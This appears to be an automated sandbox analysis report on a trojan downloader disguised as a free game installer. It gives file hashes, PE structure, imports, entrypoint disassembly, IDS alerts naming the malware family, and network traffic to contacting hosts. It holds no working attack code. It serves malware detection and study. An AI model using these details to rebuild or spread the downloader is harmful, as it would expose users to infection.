Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Windows\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp
File Type:	InnoSetup Log Witch It Free Download v126 Online.exe, version 0x418, 6043 bytes, 124406\37\user\, \350\001
Category:	dropped
Size (bytes):	6043
Entropy (8bit):	4.167826160572626
Encrypted:	false
SSDEEP:	96:idU1ganXOWU1+HZnZd3M+HZn5Ehk3w1nQ1CabcuJlEDA4MZAe2L8HhJ0f:idU1ga/rHX5HsEbP4DSm8Hv0f
MD5:	2BB2130D150CA08D51402BB484ECDC08
SHA1:	49BF8E0D6C1546549AB7FA95D9B51C8647CAB448
SHA-256:	F56ADDA9376EE1A9EFF3FD1AA91FF9D5E6BC2E1BFDF03DC042B67D5F6CC9C6E4
SHA-512:	CE0A0704C68885B64EFB03B8FD8BF1D0E153DCECA696C09D990959D3936E2421EE1401304244109C3A29EF0FF9769ED607453ED342A792FE4AE9FDFA4C1174DC
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Witch It Free Download v126 Online.exe........................................................................................Witch It Free Download v126 Online.exe................................................................................................................................................................................................................................!.........A........1.2.4.4.0.6......e.n.g.i.n.e.e.r.........................N.. .....~........IFPS....'........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TDOWNLOADWIZARDPAGE....TDOWNLOADWIZARDPAGE.........TNEWRADIOBUTTON....TNEWRADIOBUTTON..................TONDOWNLOADP

C:\Windows\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312171750991873
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYv:CtLutqgwh4NYxtJpkxhGj333TK
MD5:	5B56211A47945E213B15E40B9624E6E2
SHA1:	153E5E0C9132D7E189AA0DC90B78CF8CF20F3503
SHA-256:	CE34FBC19EF45F945FBCF36E8D2F0E58CF6E4358EB32ED3E3708B08F363D9ADE
SHA-512:	7BB2A811BD73B78CFD7543165693247509AD938573035215EC17146493F8BABF2BA72894A21A5F8AB56E794AC06B8F3B3E840E429B1284943033F080F5F58A32
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\winrar-x64-623.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3586840
Entropy (8bit):	7.95378887141996
Encrypted:	false
SSDEEP:	98304:kzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlxR:kz/MpmJ0LdDLCAyiHOvl
MD5:	7A647AF3C112AD805296A22B2A276E7C
SHA1:	9CDF137E3F2493C9E141D5EC05F890E32B9B4E87
SHA-256:	20739E8FC050187AF013E2499718895E4C980699CCAF046B2F96B12497E61959
SHA-512:	71D86D8DC598AAFA91DA8E0D971D1BBB87135832B848547C5C611BC828D165625C7A19AF2CD300373190CF3EB782C714AC73D84ADA53B37B6D8C1EE8508BCD86
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........{.....V...V...V4hzW\|..Vga.V...Vga{W...Vga\|W...VgazW...V4h\|W...V4h{W...V4hyW...V4h~W...V..~V...ViazW...Via.W...Via.V...Via}W...VRich...V........................PE..d......d.........."....!............pU.........@.............................0.......%7...`.............................................4.......P........`...`..H-...r6.XH... ......P...T...............................@............................................text............................... ..`.rdata..............................@..@.data...tU..........................@....pdata..H-...`......................@..@.didat..0...........................@..._RDATA..\............"..............@..@.rsrc....p.......b...$..............@..@.reloc....... ......................@..B................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.414674173073922
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
File size:	1'672'037 bytes
MD5:	f674f52c3fc7bfd52872fbba26d85dab
SHA1:	d1a315d93d2963fe375ae17a51577479a28a880c
SHA256:	a6a4706b8efff748cd8fdb24d6421683baf448c9881f3ddcf621185bf70cbf59
SHA512:	e140bd34f1e39d3853175bb7b35de0a148eae89ec75e6ba0a9fb4821aa63b90b2e8959ec2b4568237609bbfaa26f1363a12dee18b68100b6b212a5d030ec2f22
SSDEEP:	24576:s7FUDowAyrTVE3U5F/oppKic6QL3E2vVsjECUAQT45deRV9Rx:sBuZrEUKKIy029s4C1eH9L
TLSH:	6375BF3FF268A13EC56A1B3245B38320997BBA51B81A8C1E47FC344DCF765601E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F8FB07FCF45h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F8FB089FA37h
call 00007F8FB089F58Ah
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F8FB08129E4h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F8FB07F7B37h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F8FB0813B67h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F8FB089FABFh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F8FB08A5CDAh
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F8FB081445Ch
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x11000	0x11000	False	0.1863080193014706	data	3.695009135312456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xc80e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xc8748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xc8a30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xc8b58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xca180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcb028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcb8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcbe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xcd120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd4998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd4e00	0x360	data			0.34375
RT_STRING	0xd5160	0x260	data			0.3256578947368421
RT_STRING	0xd53c0	0x45c	data			0.4068100358422939
RT_STRING	0xd581c	0x40c	data			0.3754826254826255
RT_STRING	0xd5c28	0x2d4	data			0.39226519337016574
RT_STRING	0xd5efc	0xb8	data			0.6467391304347826
RT_STRING	0xd5fb4	0x9c	data			0.6410256410256411
RT_STRING	0xd6050	0x374	data			0.4230769230769231
RT_STRING	0xd63c4	0x398	data			0.3358695652173913
RT_STRING	0xd675c	0x368	data			0.3795871559633027
RT_STRING	0xd6ac4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd6d68	0x10	data			1.5
RT_RCDATA	0xd6d78	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd703c	0x2c	data			1.1363636363636365
RT_GROUP_ICON	0xd7068	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xd7124	0x584	data	English	United States	0.2818696883852691
RT_MANIFEST	0xd76a8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6172.67.219.14049702802839343 01/21/24-17:12:09.894074	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	49702	80	192.168.2.6	172.67.219.140
192.168.2.6172.67.206.12449699802047660 01/21/24-17:11:56.761859	TCP	2047660	ET MALWARE Win32/TrojanDownloader Variant Activity (GET)	49699	80	192.168.2.6	172.67.206.124

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2024 17:11:56.642751932 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:11:56.761089087 CET	80	49699	172.67.206.124	192.168.2.6
Jan 21, 2024 17:11:56.761379957 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:11:56.761858940 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:11:56.880069017 CET	80	49699	172.67.206.124	192.168.2.6
Jan 21, 2024 17:11:57.382736921 CET	80	49699	172.67.206.124	192.168.2.6
Jan 21, 2024 17:11:57.437323093 CET	49699	80	192.168.2.6	172.67.206.124
Jan 21, 2024 17:11:57.648391962 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:11:57.766469955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:11:57.766625881 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:11:57.766993046 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:11:57.885080099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.881236076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.881257057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.881417036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.881429911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.881443977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.881649017 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.881649017 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.893246889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893260956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893270969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893285036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893297911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893445015 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.893445969 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.893665075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893678904 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893692017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893703938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893714905 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.893731117 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.893759012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.905736923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.905750036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.905761003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.905771017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.905782938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.905841112 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.905992031 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.906160116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906172991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906183958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906197071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906208038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906213045 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.906228065 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.906961918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906975031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.906985998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.907000065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.907012939 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.907021999 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.907064915 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.907663107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.907701969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.907747984 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.918358088 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918375969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918386936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918531895 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.918653011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918667078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918678999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918692112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918710947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.918807030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.918807030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.918807030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.919368982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.919382095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.919425964 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.919431925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.919450045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.919465065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.919497967 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.920190096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.920202971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.920214891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.920227051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.920238018 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.920242071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.920262098 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.920294046 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.920988083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.921025038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.921039104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.921051979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.921063900 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.921075106 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.921099901 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.931210995 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931226969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931237936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931250095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931257963 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931365013 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.931365013 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.931636095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931648970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931660891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931673050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931684017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.931687117 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.931730032 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.932265997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.932279110 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.932317019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.932343006 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.932356119 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.932368994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.932389021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.932416916 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.933110952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.933125019 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.933136940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.933151960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.933161974 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.933165073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.933198929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.933973074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.933986902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934000015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934012890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934024096 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.934029102 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934040070 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.934066057 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:00.934756041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934818029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934832096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934844017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:00.934864998 CET	49700	80	192.168.2.6	104.21.23.90
